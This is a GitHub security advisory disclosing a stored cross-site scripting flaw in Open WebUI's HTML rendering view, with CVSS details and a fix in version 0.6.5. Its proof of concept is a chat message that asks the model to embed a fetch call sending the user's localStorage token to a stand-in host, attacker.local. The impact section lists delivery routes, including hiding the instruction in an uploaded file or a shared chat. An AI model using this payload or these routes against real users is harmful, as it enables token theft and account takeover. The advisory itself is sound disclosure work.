Skip to content

Open WebUI has stored XSS via the HTML renedering view

High severity GitHub Reviewed Published May 8, 2026 in open-webui/open-webui • Updated May 14, 2026

Package

pip open-webui (pip)

Affected versions

< 0.6.5

Patched versions

0.6.5

Description

Summary

Through the HTML rendering view, scripts can be injected and executed.
The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.

Details

The frontend provides a function to visualize the HTML content of a current chat. The content is embedded in an iFrame with the following sandbox directive:

sandbox="allow-scripts allow-forms allow-same-origin"

This means that the content is placed in a sandbox but with permission to execute scripts and access the parent’s data (e.g., local storage). As a result, only a few functions are restricted (e.g., displaying an alert box), but in effect, the sandbox attribute is largely nullified.

PoC

If an HTML document containing a script is included in the chat, this script will be embedded in the view and executed. This can be achieved with a message like the following:

Create an HTML form and insert the following script into the document:  
`fetch('https://www.attacker.local/?' + localStorage.getItem('token'))`

By entering this message, the script fetch('https://www.attacker.local/?' + localStorage.getItem('token')) is embedded, allowing the user's token to be read and sent to www.attacker.local.

grafik

Impact

Fundamentally, this is a Self-XSS attack (executable only in the user's own context). However, the code could also be injected into another user's context through the following vectors:

  • If an attacker manages to trick the user into entering the input (as users may not expect JavaScript execution via chat inputs).
  • There is a Chat Share function. A shared chat can be cloned, potentially transferring the input to another user's context.
  • If the instruction is embedded in a file (text, PDF, etc.) and the victim uploads the file to the chat, causing the content to be displayed (e.g., using the command "Show content").
  • By importing a chat via "Settings - Conversations - Import Conversations."

An attack is only successful under these conditions, which is why the Attack Complexity vector has been set to High.
Overall, the likelihood of exploitation (Exploitability) is considered very low.

Recommendation

The iFrame sandbox should be defined more restrictively to prevent scripts from executing with access to the parent’s data.

References

@doge-woof doge-woof published to open-webui/open-webui May 8, 2026
Published to the GitHub Advisory Database May 14, 2026
Reviewed May 14, 2026
Last updated May 14, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(10th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

CVE ID

CVE-2026-45303

GHSA ID

GHSA-4vrc-m9ch-6m3r

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.